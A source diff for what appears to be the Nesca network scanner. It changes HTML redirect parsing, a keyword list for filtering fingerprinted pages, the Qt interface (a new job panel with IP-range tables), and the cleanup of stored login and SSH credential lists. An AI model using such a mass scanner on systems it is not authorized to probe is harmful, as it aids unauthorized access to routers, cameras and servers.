ptr1 = strstri(ptr2, "<script");
|
||||
}
|
||||
while(ptr1 != NULL);
|
||||
}
|
||||
else if(strstri(str, " onload") != NULL)
|
||||
{
|
||||
char *ptr1 = strstri(str, " onload");
|
||||
char *ptr2 = strstr(ptr1, ">");
|
||||
if(ptr2 != NULL)
|
||||
{
|
||||
int sz = ptr2 - ptr1;
|
||||
if(sz < 512)
|
||||
{
|
||||
char linkPtr[512] = {0};
|
||||
ZeroMemory(linkPtr, 512);
|
||||
strncpy(linkPtr, ptr1, sz);
|
||||
char *scriptContainer = new char[sz + 1];
|
||||
ZeroMemory(scriptContainer, sz + 1);
|
||||
strncpy(scriptContainer, ptr1, sz);
|
||||
memset(scriptContainer + sz, '\0', 1);
|
||||
|
||||
if(strstri(scriptContainer, "location.href") != NULL) _getLinkFromJSLocation(linkPtr, scriptContainer, "location.href", ip, port);
|
||||
else if(strstri(scriptContainer, "location.replace") != NULL) _getLinkFromJSLocation(linkPtr, scriptContainer, "location.replace", ip, port);
|
||||
else if(strstri(scriptContainer, "location.reload") != NULL) strcpy(linkPtr, "/");
|
||||
else if(strstri(scriptContainer, "location") != NULL) _getLinkFromJSLocation(linkPtr, scriptContainer, "location", ip, port);
|
||||
|
||||
if(strlen(linkPtr) != 0)
|
||||
{
|
||||
redirectStr = std::string(linkPtr);
|
||||
if(std::find(redirStrLst->begin(), redirStrLst->end(), redirectStr) == redirStrLst->end())
|
||||
{
|
||||
redirStrLst->push_back(redirectStr);
|
||||
redirectReconnect(ps->cookie, ip, port, linkPtr, l, ps, redirStrLst, rBuff);
|
||||
};
|
||||
};
|
||||
delete []scriptContainer;
|
||||
if(ps->flag >= 17 || ps->flag == 11 || ps->flag == 12
|
||||
|| ps->flag == 13 || ps->flag == 14 || ps->flag == 1
|
||||
|| ps->flag == 10
|
||||
)
|
||||
return -2;
|
||||
};
|
||||
};
|
||||
};
|
||||
#pragma endregion
|
||||
|
||||
|
@ -3,6 +3,11 @@ liveinternet
|
||||
#[Dlink]
|
||||
session_login.php?reload=1
|
||||
atwiki
|
||||
studio
|
||||
McMyAdmin
|
||||
Aviso de Bloqueio
|
||||
Servico nao disponivel
|
||||
Content-Encoding: gzip
|
||||
no connections allowed
|
||||
pocket-solution
|
||||
trustclick
|
||||
@ -17,9 +22,14 @@ service unavailable
|
||||
is still available
|
||||
php framework
|
||||
BlueBean
|
||||
Herzlich
|
||||
Web-Based Configurator
|
||||
Willkommen!
|
||||
403 forbidden
|
||||
404 not found
|
||||
document not found
|
||||
504 gateway timeout
|
||||
Defaultpage
|
||||
500 internal server error
|
||||
500 - internal server error
|
||||
502 bad gateway
|
||||
@ -37,11 +47,11 @@ failed to open stream
|
||||
500 OOPS
|
||||
Comming Soon
|
||||
is sample html
|
||||
google_ad_client
|
||||
/js/thickbox.js
|
||||
google_ad_slot
|
||||
plone
|
||||
openmail
|
||||
You don't have permission
|
||||
institute
|
||||
google-analytics.com
|
||||
googlesyndication
|
||||
@ -57,15 +67,9 @@ MELOOK
|
||||
/cart/view
|
||||
/catalog/search.php
|
||||
/cgi-bin/welcome.cgi
|
||||
/citrix/
|
||||
/citrixaccess
|
||||
/contact
|
||||
/welcome/
|
||||
application/x-shockwave-flash
|
||||
/contactus
|
||||
/contact-us
|
||||
/customer
|
||||
/client
|
||||
/esi.cgi?page=status-index.xml
|
||||
/guarantee
|
||||
/html/index.asp
|
||||
@ -84,8 +88,7 @@ application/x-shockwave-flash
|
||||
/servlet/wap/login
|
||||
site introuvable
|
||||
shop
|
||||
/buy
|
||||
/sell
|
||||
sell
|
||||
/company
|
||||
/brand
|
||||
/signin
|
||||
@ -128,7 +131,6 @@ access the sharecenter
|
||||
actiontec_bottom
|
||||
adsense
|
||||
afrekenen
|
||||
agent web client
|
||||
ahcom tecnologia
|
||||
alfresco
|
||||
app service
|
||||
@ -136,8 +138,7 @@ apache_pb.gif
|
||||
airties
|
||||
aktualizacji
|
||||
amicaweb
|
||||
Alan Adı Al
|
||||
Alan Adı Sat
|
||||
Alan Adı
|
||||
and supervision tool
|
||||
annex b
|
||||
apache http server test
|
||||
@ -167,8 +168,7 @@ blog/about/
|
||||
blog/comments/
|
||||
bubba|2
|
||||
buffalo inc
|
||||
buy or sell
|
||||
buy ticket
|
||||
buy
|
||||
cable modem
|
||||
cafe
|
||||
call us
|
||||
@ -189,8 +189,7 @@ cheditor
|
||||
chiliproject
|
||||
check availability
|
||||
citrix/xenapp
|
||||
cliente
|
||||
clientes
|
||||
client
|
||||
cloud
|
||||
cmside.htm
|
||||
company.
|
||||
@ -202,29 +201,12 @@ configuration file does not
|
||||
confixx
|
||||
construcci
|
||||
consulta
|
||||
contact info
|
||||
contact our webmaster
|
||||
contact support
|
||||
contact to us
|
||||
contact us
|
||||
contact webmaster
|
||||
contact.
|
||||
contact_us.
|
||||
contactanos
|
||||
contactar
|
||||
contact-info
|
||||
contacto
|
||||
contacts.
|
||||
contact-us
|
||||
contactus.
|
||||
contate
|
||||
contac
|
||||
come back later
|
||||
contato
|
||||
contatt
|
||||
contat
|
||||
control de inventarios
|
||||
control de solicitudes
|
||||
controles de acceso
|
||||
cookiechecker
|
||||
currently unavailable
|
||||
cooking
|
||||
coltd
|
||||
@ -241,8 +223,11 @@ currently unreachable
|
||||
cs3 dreamweaver
|
||||
FrontPage
|
||||
TESTPAGE
|
||||
Too many connections
|
||||
BB-HGW
|
||||
OS X Lion
|
||||
Inspire DVR
|
||||
DVR Components Download
|
||||
Homepage Builder
|
||||
dashboard.css
|
||||
dating
|
||||
@ -273,7 +258,7 @@ domain has been registered
|
||||
domain name registration
|
||||
domain registered
|
||||
domainapps.com
|
||||
domains for sale
|
||||
sale
|
||||
domeny
|
||||
domeingeregistreerd
|
||||
down for maint
|
||||
@ -286,7 +271,6 @@ dsnextgen.com
|
||||
dsparking.com
|
||||
DATA LAN DISK
|
||||
TEST SITE
|
||||
dxclient
|
||||
eap web interface
|
||||
echolife
|
||||
ediciones tierrazul
|
||||
@ -316,7 +300,6 @@ Fireworks MX
|
||||
fast35xx
|
||||
facebook
|
||||
football
|
||||
for sale
|
||||
forex
|
||||
forgot password
|
||||
free delivery
|
||||
@ -351,7 +334,6 @@ help desk
|
||||
hotspot login
|
||||
htmlanvview:
|
||||
icecast2
|
||||
ids_web_login
|
||||
ie-plugin
|
||||
iis7
|
||||
iis8
|
||||
@ -365,7 +347,6 @@ information services 8
|
||||
ingrese usuario
|
||||
inicio
|
||||
initservicecookie
|
||||
initwebclient
|
||||
inloggen
|
||||
insurance
|
||||
intelligent digital security system
|
||||
@ -467,7 +448,6 @@ oma domain
|
||||
on varattu
|
||||
opening soon
|
||||
openwebmail
|
||||
page=contact
|
||||
page=about
|
||||
pagerrorimg
|
||||
pagos
|
||||
@ -495,7 +475,6 @@ por internet
|
||||
portada
|
||||
portal de
|
||||
postinfo.html
|
||||
pre-sale
|
||||
price
|
||||
prikol
|
||||
privacy policies
|
||||
@ -541,7 +520,6 @@ roundcube
|
||||
s.r.l.
|
||||
sakura internet
|
||||
sabnzbd
|
||||
sale only
|
||||
samsung digital
|
||||
sapphire journal
|
||||
sbuilder.ru
|
||||
@ -554,10 +532,8 @@ secure login page
|
||||
securepaynet
|
||||
sedoparking.com
|
||||
selectkind.html
|
||||
seller
|
||||
server application error
|
||||
server default page
|
||||
service client
|
||||
servicio
|
||||
shared ip
|
||||
sign in now
|
||||
@ -663,7 +639,6 @@ try again later
|
||||
tutorial
|
||||
twitter
|
||||
Tlf.
|
||||
Web Client Pro
|
||||
mailto:
|
||||
WJND300
|
||||
Home Page
|
||||
@ -694,20 +669,17 @@ varaa itsellesi
|
||||
w@de
|
||||
wade
|
||||
web applications
|
||||
web client for edvs
|
||||
web console
|
||||
web device manager
|
||||
web frontend
|
||||
web hosting
|
||||
web remote access
|
||||
web remote client
|
||||
web server setup guide
|
||||
web site creator
|
||||
webage unavailable
|
||||
website does not exist
|
||||
web-based configurator
|
||||
webcamx
|
||||
webclient.js
|
||||
webconfig
|
||||
webcontrol
|
||||
webguard login
|
||||
|
89
nesca_3.cpp
89
nesca_3.cpp
@ -110,6 +110,7 @@ QGraphicsScene *sceneActivityGrid;
|
||||
QGraphicsScene *sceneTextPlacer;
|
||||
QGraphicsScene *sceneVoice;
|
||||
QGraphicsScene *pbScene;
|
||||
QGraphicsScene *jobRangeVisualScene;
|
||||
|
||||
QString importFileName = "";
|
||||
|
||||
@ -194,6 +195,7 @@ void setSceneArea()
|
||||
sceneTextPlacer = new QGraphicsScene();
|
||||
sceneVoice = new QGraphicsScene();
|
||||
pbScene = new QGraphicsScene();
|
||||
jobRangeVisualScene = new QGraphicsScene();
|
||||
|
||||
ui->graphicLog->setScene(sceneGrid);
|
||||
ui->graphicLog_2->setScene(sceneGraph);
|
||||
@ -204,7 +206,9 @@ void setSceneArea()
|
||||
ui->graphicTextPlacer->setScene(sceneTextPlacer);
|
||||
ui->graphicsVoice->setScene(sceneVoice);
|
||||
ui->pbgv->setScene(pbScene);
|
||||
ui->jobRangeVisual->setScene(jobRangeVisualScene);
|
||||
|
||||
|
||||
ui->graphicLog->setSceneRect(0, 0, ui->graphicLog->width(), ui->graphicLog->height());
|
||||
ui->graphicLog_2->setSceneRect(0, 0, ui->graphicLog_2->width(), ui->graphicLog_2->height());
|
||||
ui->graphicDelim->setSceneRect(0, 0, ui->graphicDelim->width(), ui->graphicDelim->height());
|
||||
@ -213,9 +217,9 @@ void setSceneArea()
|
||||
ui->graphicActivityGrid->setSceneRect(0, 0, ui->graphicActivityGrid->width(), ui->graphicActivityGrid->height());
|
||||
ui->graphicTextPlacer->setSceneRect(0, 0, ui->graphicTextPlacer->width(), ui->graphicTextPlacer->height());
|
||||
ui->graphicsVoice->setSceneRect(0, 0, ui->graphicsVoice->width(), ui->graphicsVoice->height());
|
||||
ui->pbgv->setSceneRect(0, 0, ui->pbgv->width(), ui->pbgv->height());
|
||||
ui->pbgv->setSceneRect(0, 0, ui->pbgv->width(), ui->pbgv->height());
|
||||
ui->jobRangeVisual->setSceneRect(0, 0, ui->jobRangeVisual->width(), ui->jobRangeVisual->height());
|
||||
};
|
||||
|
||||
void setButtonStyleArea()
|
||||
{
|
||||
ui->checkKeyBut->setStyleSheet(
|
||||
@ -301,8 +305,8 @@ void setButtonStyleArea()
|
||||
);
|
||||
};
|
||||
void setSomeStyleArea()
|
||||
{qApp->setStyleSheet(
|
||||
|
||||
{
|
||||
qApp->setStyleSheet(
|
||||
"QMenu{"
|
||||
"color:rgb(216, 216, 216);background-color: rgb(26, 26, 26); border: 1px solid white;"
|
||||
"}"
|
||||
@ -343,17 +347,12 @@ void setSomeStyleArea()
|
||||
"width: 13px;"
|
||||
"height: 13px;"
|
||||
"}"
|
||||
|
||||
|
||||
" #widget {"
|
||||
"border: 1px solid #525252;"
|
||||
"border-radius: 0px;"
|
||||
"}"
|
||||
|
||||
" #widgetIRC {"
|
||||
"border: 1px solid #525252;"
|
||||
"border-radius: 0px;"
|
||||
"}"
|
||||
|
||||
|
||||
" #exitButton {"
|
||||
"color: #525252;"
|
||||
"border: 0px solid black;"
|
||||
@ -1295,10 +1294,13 @@ void nesca_3::ChangeDispalyMode()
|
||||
{
|
||||
if(widgetIsHidden == false && tray->isVisible() == false)
|
||||
{
|
||||
ui->IRCModeChangerBut->setVisible(true);
|
||||
blinkFlag = false;
|
||||
widgetIsHidden = true;
|
||||
ui->newMessageLabel->setStyleSheet("color:rgba(255, 0, 0, 0);background-color: rgba(2, 2, 2, 0);");
|
||||
ui->IRCModeBut->setStyleSheet("color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0);border: 1px solid rgba(255, 255, 255, 40);");
|
||||
ui->JobModeBut->setStyleSheet("color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0);border: 1px solid rgba(255, 255, 255, 40);");
|
||||
ui->IRCModeBut->setStyleSheet("background-color: rgba(2, 2, 2, 0);border: 1px solid rgba(0, 214, 0, 40);color: rgb(0, 214, 0);");
|
||||
ui->widgetJOB->setGeometry(QRect(500, 44, 500, 730));
|
||||
ui->widgetIRC->setGeometry(QRect(1, 44, 498, 730));
|
||||
ui->shoutBox->setFocus();
|
||||
QWidget::activateWindow();
|
||||
@ -1306,6 +1308,8 @@ void nesca_3::ChangeDispalyMode()
|
||||
}
|
||||
else
|
||||
{
|
||||
ui->IRCModeBut->setStyleSheet("color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0);border: 1px solid rgba(255, 255, 255, 40);");
|
||||
ui->IRCModeChangerBut->setVisible(false);
|
||||
disableBlink = false;
|
||||
blinkFlag = true;
|
||||
widgetIsHidden = false;
|
||||
@ -1313,6 +1317,23 @@ void nesca_3::ChangeDispalyMode()
|
||||
ui->widgetIRC->setGeometry(QRect(500, 44, 500, 730));
|
||||
};
|
||||
};
|
||||
void nesca_3::switchToJobMode()
|
||||
{
|
||||
if(ui->widgetJOB->geometry().x() == 500)
|
||||
{
|
||||
ui->widgetIRC->setGeometry(QRect(500, 44, 500, 730));
|
||||
ui->IRCModeChangerBut->setVisible(false);
|
||||
widgetIsHidden = false;
|
||||
ui->widgetJOB->setGeometry(QRect(1, 44, 498, 730));
|
||||
ui->JobModeBut->setStyleSheet("background-color: rgba(2, 2, 2, 0);border: 1px solid rgba(0, 214, 0, 40);color: rgb(0, 214, 0);");
|
||||
ui->IRCModeBut->setStyleSheet("color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0);border: 1px solid rgba(255, 255, 255, 40);");
|
||||
}
|
||||
else
|
||||
{
|
||||
ui->widgetJOB->setGeometry(QRect(500, 44, 500, 730));
|
||||
ui->JobModeBut->setStyleSheet("color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0);border: 1px solid rgba(255, 255, 255, 40);");
|
||||
};
|
||||
};
|
||||
void nesca_3::CheckProxy()
|
||||
{
|
||||
saveOptions();
|
||||
@ -2020,6 +2041,7 @@ void nesca_3::slotShowDataflow()
|
||||
if(MapWidgetOpened == false)
|
||||
{
|
||||
MapWidgetOpened = true;
|
||||
ui->DataflowModeBut->setStyleSheet("background-color: rgba(2, 2, 2, 0);border: 1px solid rgba(0, 214, 0, 40);color: rgb(0, 214, 0);");
|
||||
qwm = new QWidget();
|
||||
qwm->setWindowFlags(Qt::FramelessWindowHint|Qt::SubWindow);
|
||||
qwm->setStyleSheet(
|
||||
@ -2046,13 +2068,13 @@ void nesca_3::slotShowDataflow()
|
||||
}
|
||||
else
|
||||
{
|
||||
ui->DataflowModeBut->setStyleSheet("color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0);border: 1px solid rgba(255, 255, 255, 40);");
|
||||
delete []SendData;
|
||||
delete []RecvData;
|
||||
delete []qwm;
|
||||
qwm = NULL;
|
||||
RecvData = NULL;
|
||||
SendData = NULL;
|
||||
|
||||
MapWidgetOpened = false;
|
||||
};
|
||||
};
|
||||
@ -2790,11 +2812,10 @@ void nesca_3::ConnectEvrthng()
|
||||
connect ( ui->serverPortBox, SIGNAL( returnPressed() ), this, SLOT( ConnectToIRCServer() ) );
|
||||
connect ( ui->checkKeyBut, SIGNAL( clicked() ), this, SLOT( CheckPersKey() ) );
|
||||
connect ( ui->DataflowModeBut, SIGNAL( clicked() ), this, SLOT( slotShowDataflow() ) );
|
||||
connect ( ui->DataflowModeBut_2, SIGNAL( clicked() ), this, SLOT( slotShowDataflow() ) );
|
||||
connect ( ui->IRCConnectBut, SIGNAL( clicked() ), this, SLOT( ConnectToIRCServer() ) );
|
||||
connect ( ui->IRCModeChangerBut, SIGNAL( clicked() ), this, SLOT( ChangeIRCRawLog() ) );
|
||||
connect ( ui->JobModeBut, SIGNAL( clicked() ), this, SLOT( switchToJobMode() ) );
|
||||
connect ( ui->IRCModeBut, SIGNAL( clicked() ), this, SLOT( ChangeDispalyMode() ) );
|
||||
connect ( ui->IRCModeBut_2, SIGNAL( clicked() ), this, SLOT( ChangeDispalyMode() ) );
|
||||
connect ( ui->clearLogBut, SIGNAL( clicked() ), this, SLOT( slotClearLogs() ) );
|
||||
connect ( ui->IRCUTFMode, SIGNAL( clicked() ), this, SLOT( slotChangeCPModeToUTF() ) );
|
||||
connect ( ui->IRCCP1251Mode, SIGNAL( clicked() ), this, SLOT( slotChangeCPModeTo1251() ) );
|
||||
@ -3262,6 +3283,7 @@ void _startMsgCheck()
|
||||
ui->widgetIRC->installEventFilter(this);
|
||||
ui->shoutBox->installEventFilter(this);
|
||||
setSomeStyleArea();
|
||||
ui->IRCModeChangerBut->setVisible(false);
|
||||
ui->dataText->setOpenExternalLinks(true);
|
||||
ui->dataText->setOpenLinks(false);
|
||||
ui->rVerLabel->hide();
|
||||
@ -3321,6 +3343,22 @@ void _startMsgCheck()
|
||||
|
||||
_startVerCheck();
|
||||
_startMsgCheck();
|
||||
|
||||
//for(int i = 0; i < 480; ++i+=)
|
||||
float step = 0;
|
||||
QPen iprvPenRegular(QColor(51, 51, 51, 100));
|
||||
QPen iprvPen(QColor(51, 51, 51, 100));
|
||||
while(step < 480)
|
||||
{
|
||||
jobRangeVisualScene->addLine(step, 0, step, 41, iprvPenRegular);
|
||||
step += 30;
|
||||
};
|
||||
QPen iprvPenComplete(QColor(51, 51, 51, 100));
|
||||
while(step < 480)
|
||||
{
|
||||
jobRangeVisualScene->addLine(step, 0, step, 41, iprvPen);
|
||||
step += 30;
|
||||
};
|
||||
};
|
||||
void nesca_3::playFcknSound()
|
||||
{
|
||||
@ -3473,7 +3511,7 @@ void nesca_3::STTTerminate()
|
||||
globalScanFlag = false;
|
||||
|
||||
stt->terminate();
|
||||
|
||||
while(__savingBackUpFile) Sleep(100);
|
||||
if(loginLst != NULL)
|
||||
{
|
||||
for(int i = 0; i < MaxLogin; i++) delete []loginLst[i];
|
||||
@ -3510,7 +3548,24 @@ void nesca_3::STTTerminate()
|
||||
delete []sshlpLst;
|
||||
sshlpLst = NULL;
|
||||
};
|
||||
|
||||
if(ipsstartfl != NULL)
|
||||
{
|
||||
for(int i = 0; i < importFileSize; ++i) delete []ipsstartfl[i];
|
||||
delete []ipsstartfl;
|
||||
ipsstartfl = NULL;
|
||||
};
|
||||
if(ipsendfl != NULL)
|
||||
{
|
||||
for(int i = 0; i < importFileSize; ++i) delete []ipsendfl[i];
|
||||
delete []ipsendfl;
|
||||
ipsendfl = NULL;
|
||||
};
|
||||
if(starterIP != NULL)
|
||||
{
|
||||
for(int i = 0; i < importFileSize; ++i) delete []starterIP[i];
|
||||
delete []starterIP;
|
||||
starterIP = NULL;
|
||||
};
|
||||
ui->tabMainWidget->setTabEnabled(0, true);
|
||||
ui->tabMainWidget->setTabEnabled(1, true);
|
||||
ui->tabMainWidget->setTabEnabled(2, true);
|
||||
|
@ -93,6 +93,7 @@ protected:
|
||||
void setNickBox(QString str);
|
||||
void SaySmthng();
|
||||
void ChangeIRCRawLog();
|
||||
void switchToJobMode();
|
||||
void ConnectToIRCServer();
|
||||
void CheckProxy();
|
||||
void ChangeDispalyMode();
|
||||
|
296
nesca_3.ui
296
nesca_3.ui
@ -251,7 +251,7 @@
|
||||
<enum>Qt::NoFocus</enum>
|
||||
</property>
|
||||
<property name="styleSheet">
|
||||
<string notr="true">background-color:qlineargradient(spread:pad, x1:0.541, y1:0.500364, x2:0.54, y2:0, stop:0 rgba(16, 16, 16, 255), stop:1 rgba(0, 0, 0, 255))</string>
|
||||
<string notr="true">background-color:qlineargradient(spread:pad, x1:0.541, y1:0.500364, x2:0.54, y2:0, stop:0 rgba(16, 16, 16, 255), stop:1 rgba(0, 0, 0, 255));</string>
|
||||
</property>
|
||||
<widget class="QTabWidget" name="tabMainWidget">
|
||||
<property name="enabled">
|
||||
@ -2629,33 +2629,6 @@ background-color: #000000;</string>
|
||||
<string><</string>
|
||||
</property>
|
||||
</widget>
|
||||
<widget class="QPushButton" name="IRCModeBut">
|
||||
<property name="geometry">
|
||||
<rect>
|
||||
<x>390</x>
|
||||
<y>50</y>
|
||||
<width>48</width>
|
||||
<height>16</height>
|
||||
</rect>
|
||||
</property>
|
||||
<property name="font">
|
||||
<font>
|
||||
<family>Eurostile</family>
|
||||
</font>
|
||||
</property>
|
||||
<property name="toolTip">
|
||||
<string>Netstalker IRC Messenger</string>
|
||||
</property>
|
||||
<property name="whatsThis">
|
||||
<string>Netstalker IRC Messenger</string>
|
||||
</property>
|
||||
<property name="styleSheet">
|
||||
<string notr="true">color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0);border: 1px solid rgba(255, 255, 255, 40);</string>
|
||||
</property>
|
||||
<property name="text">
|
||||
<string>:NS-IRC</string>
|
||||
</property>
|
||||
</widget>
|
||||
<widget class="QLabel" name="labelTracker">
|
||||
<property name="geometry">
|
||||
<rect>
|
||||
@ -2843,33 +2816,6 @@ background-color: #000000;</string>
|
||||
<string>X</string>
|
||||
</property>
|
||||
</widget>
|
||||
<widget class="QPushButton" name="DataflowModeBut">
|
||||
<property name="geometry">
|
||||
<rect>
|
||||
<x>440</x>
|
||||
<y>50</y>
|
||||
<width>48</width>
|
||||
<height>16</height>
|
||||
</rect>
|
||||
</property>
|
||||
<property name="font">
|
||||
<font>
|
||||
<family>Eurostile</family>
|
||||
</font>
|
||||
</property>
|
||||
<property name="toolTip">
|
||||
<string>Online datastream</string>
|
||||
</property>
|
||||
<property name="whatsThis">
|
||||
<string>Online datastream</string>
|
||||
</property>
|
||||
<property name="styleSheet">
|
||||
<string notr="true">color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0);border: 1px solid rgba(255, 255, 255, 40);</string>
|
||||
</property>
|
||||
<property name="text">
|
||||
<string>:Dataflow</string>
|
||||
</property>
|
||||
</widget>
|
||||
<widget class="QPushButton" name="secretMessageBut_1">
|
||||
<property name="geometry">
|
||||
<rect>
|
||||
@ -3001,7 +2947,7 @@ background-color: #000000;</string>
|
||||
<widget class="QLabel" name="newMessageLabel">
|
||||
<property name="geometry">
|
||||
<rect>
|
||||
<x>300</x>
|
||||
<x>265</x>
|
||||
<y>53</y>
|
||||
<width>70</width>
|
||||
<height>10</height>
|
||||
@ -3223,14 +3169,12 @@ background-color: #000000;</string>
|
||||
<zorder>labelBadAddr</zorder>
|
||||
<zorder>labelOffline_Value</zorder>
|
||||
<zorder>switcherBut</zorder>
|
||||
<zorder>IRCModeBut</zorder>
|
||||
<zorder>labelTracker</zorder>
|
||||
<zorder>graphicActivityGrid</zorder>
|
||||
<zorder>graphicActivity</zorder>
|
||||
<zorder>VoiceScanBut</zorder>
|
||||
<zorder>graphicsVoice</zorder>
|
||||
<zorder>clearLogBut</zorder>
|
||||
<zorder>DataflowModeBut</zorder>
|
||||
<zorder>secretMessageBut_1</zorder>
|
||||
<zorder>secretMessageBut_2</zorder>
|
||||
<zorder>secretMessageBut_3</zorder>
|
||||
@ -3252,34 +3196,13 @@ background-color: #000000;</string>
|
||||
<rect>
|
||||
<x>500</x>
|
||||
<y>44</y>
|
||||
<width>500</width>
|
||||
<width>498</width>
|
||||
<height>730</height>
|
||||
</rect>
|
||||
</property>
|
||||
<property name="styleSheet">
|
||||
<string notr="true">background-color:qlineargradient(spread:pad, x1:0.541, y1:0.500364, x2:0.54, y2:0, stop:0 rgba(16, 16, 16, 255), stop:1 rgba(0, 0, 0, 255));border: none;</string>
|
||||
<string notr="true">background-color:qlineargradient(spread:pad, x1:0.541, y1:0.500364, x2:0.54, y2:0, stop:0 rgba(16, 16, 16, 255), stop:1 rgba(0, 0, 0, 255));</string>
|
||||
</property>
|
||||
<widget class="QPushButton" name="IRCModeBut_2">
|
||||
<property name="geometry">
|
||||
<rect>
|
||||
<x>390</x>
|
||||
<y>6</y>
|
||||
<width>48</width>
|
||||
<height>16</height>
|
||||
</rect>
|
||||
</property>
|
||||
<property name="font">
|
||||
<font>
|
||||
<family>Eurostile</family>
|
||||
</font>
|
||||
</property>
|
||||
<property name="styleSheet">
|
||||
<string notr="true">color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0);border: 1px solid rgba(255, 255, 255, 40);</string>
|
||||
</property>
|
||||
<property name="text">
|
||||
<string>:NS-Scan</string>
|
||||
</property>
|
||||
</widget>
|
||||
<widget class="QLineEdit" name="ircServerBox">
|
||||
<property name="geometry">
|
||||
<rect>
|
||||
@ -3560,27 +3483,6 @@ p, li { white-space: pre-wrap; }
|
||||
<string>Check proxy</string>
|
||||
</property>
|
||||
</widget>
|
||||
<widget class="QPushButton" name="IRCModeChangerBut">
|
||||
<property name="geometry">
|
||||
<rect>
|
||||
<x>340</x>
|
||||
<y>6</y>
|
||||
<width>48</width>
|
||||
<height>16</height>
|
||||
</rect>
|
||||
</property>
|
||||
<property name="font">
|
||||
<font>
|
||||
<family>Eurostile</family>
|
||||
</font>
|
||||
</property>
|
||||
<property name="styleSheet">
|
||||
<string notr="true">color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0);border: 1px solid rgba(255, 255, 255, 40);</string>
|
||||
</property>
|
||||
<property name="text">
|
||||
<string>:IRC raw</string>
|
||||
</property>
|
||||
</widget>
|
||||
<widget class="QTextBrowser" name="ircRaw">
|
||||
<property name="geometry">
|
||||
<rect>
|
||||
@ -3636,33 +3538,6 @@ p, li { white-space: pre-wrap; }
|
||||
<bool>false</bool>
|
||||
</property>
|
||||
</widget>
|
||||
<widget class="QPushButton" name="DataflowModeBut_2">
|
||||
<property name="geometry">
|
||||
<rect>
|
||||
<x>440</x>
|
||||
<y>6</y>
|
||||
<width>48</width>
|
||||
<height>16</height>
|
||||
</rect>
|
||||
</property>
|
||||
<property name="font">
|
||||
<font>
|
||||
<family>Eurostile</family>
|
||||
</font>
|
||||
</property>
|
||||
<property name="toolTip">
|
||||
<string>Anomaly map</string>
|
||||
</property>
|
||||
<property name="whatsThis">
|
||||
<string>Online datastream</string>
|
||||
</property>
|
||||
<property name="styleSheet">
|
||||
<string notr="true">color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0);border: 1px solid rgba(255, 255, 255, 40);</string>
|
||||
</property>
|
||||
<property name="text">
|
||||
<string>:Dataflow</string>
|
||||
</property>
|
||||
</widget>
|
||||
<widget class="QPushButton" name="nickShowBut">
|
||||
<property name="geometry">
|
||||
<rect>
|
||||
@ -3899,7 +3774,6 @@ color: rgb(71, 71, 71);</string>
|
||||
</widget>
|
||||
<zorder>nickList</zorder>
|
||||
<zorder>ircRaw</zorder>
|
||||
<zorder>IRCModeBut_2</zorder>
|
||||
<zorder>ircServerBox</zorder>
|
||||
<zorder>shoutBox</zorder>
|
||||
<zorder>serverPortBox</zorder>
|
||||
@ -3909,8 +3783,6 @@ color: rgb(71, 71, 71);</string>
|
||||
<zorder>ircProxy</zorder>
|
||||
<zorder>ircProxyPort</zorder>
|
||||
<zorder>IRCCheckProxyBut</zorder>
|
||||
<zorder>IRCModeChangerBut</zorder>
|
||||
<zorder>DataflowModeBut_2</zorder>
|
||||
<zorder>nickShowBut</zorder>
|
||||
<zorder>topicLine</zorder>
|
||||
<zorder>IRCUTFMode</zorder>
|
||||
@ -3920,6 +3792,166 @@ color: rgb(71, 71, 71);</string>
|
||||
<zorder>labelIPRange_4</zorder>
|
||||
<zorder>labelIPRange_5</zorder>
|
||||
</widget>
|
||||
<widget class="QWidget" name="widgetJOB" native="true">
|
||||
<property name="geometry">
|
||||
<rect>
|
||||
<x>500</x>
|
||||
<y>44</y>
|
||||
<width>498</width>
|
||||
<height>730</height>
|
||||
</rect>
|
||||
</property>
|
||||
<property name="styleSheet">
|
||||
<string notr="true">background-color:qlineargradient(spread:pad, x1:0.541, y1:0.500364, x2:0.54, y2:0, stop:0 rgba(16, 16, 16, 255), stop:1 rgba(0, 0, 0, 255));</string>
|
||||
</property>
|
||||
<widget class="QGraphicsView" name="jobRangeVisual">
|
||||
<property name="geometry">
|
||||
<rect>
|
||||
<x>10</x>
|
||||
<y>30</y>
|
||||
<width>480</width>
|
||||
<height>41</height>
|
||||
</rect>
|
||||
</property>
|
||||
<property name="verticalScrollBarPolicy">
|
||||
<enum>Qt::ScrollBarAlwaysOff</enum>
|
||||
</property>
|
||||
<property name="horizontalScrollBarPolicy">
|
||||
<enum>Qt::ScrollBarAlwaysOff</enum>
|
||||
</property>
|
||||
</widget>
|
||||
<widget class="QTableWidget" name="jobIPContractsTable">
|
||||
<property name="geometry">
|
||||
<rect>
|
||||
<x>10</x>
|
||||
<y>105</y>
|
||||
<width>480</width>
|
||||
<height>296</height>
|
||||
</rect>
|
||||
</property>
|
||||
</widget>
|
||||
<widget class="QTableWidget" name="jobIPWantedTable">
|
||||
<property name="geometry">
|
||||
<rect>
|
||||
<x>10</x>
|
||||
<y>425</y>
|
||||
<width>480</width>
|
||||
<height>296</height>
|
||||
</rect>
|
||||
</property>
|
||||
</widget>
|
||||
</widget>
|
||||
<widget class="QPushButton" name="DataflowModeBut">
|
||||
<property name="geometry">
|
||||
<rect>
|
||||
<x>440</x>
|
||||
<y>50</y>
|
||||
<width>48</width>
|
||||
<height>16</height>
|
||||
</rect>
|
||||
</property>
|
||||
<property name="font">
|
||||
<font>
|
||||
<family>Eurostile</family>
|
||||
</font>
|
||||
</property>
|
||||
<property name="toolTip">
|
||||
<string>Online datastream</string>
|
||||
</property>
|
||||
<property name="whatsThis">
|
||||
<string>Online datastream</string>
|
||||
</property>
|
||||
<property name="styleSheet">
|
||||
<string notr="true">color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0);border: 1px solid rgba(255, 255, 255, 40);</string>
|
||||
</property>
|
||||
<property name="text">
|
||||
<string>:Dataflow</string>
|
||||
</property>
|
||||
</widget>
|
||||
<widget class="QPushButton" name="IRCModeBut">
|
||||
<property name="geometry">
|
||||
<rect>
|
||||
<x>340</x>
|
||||
<y>50</y>
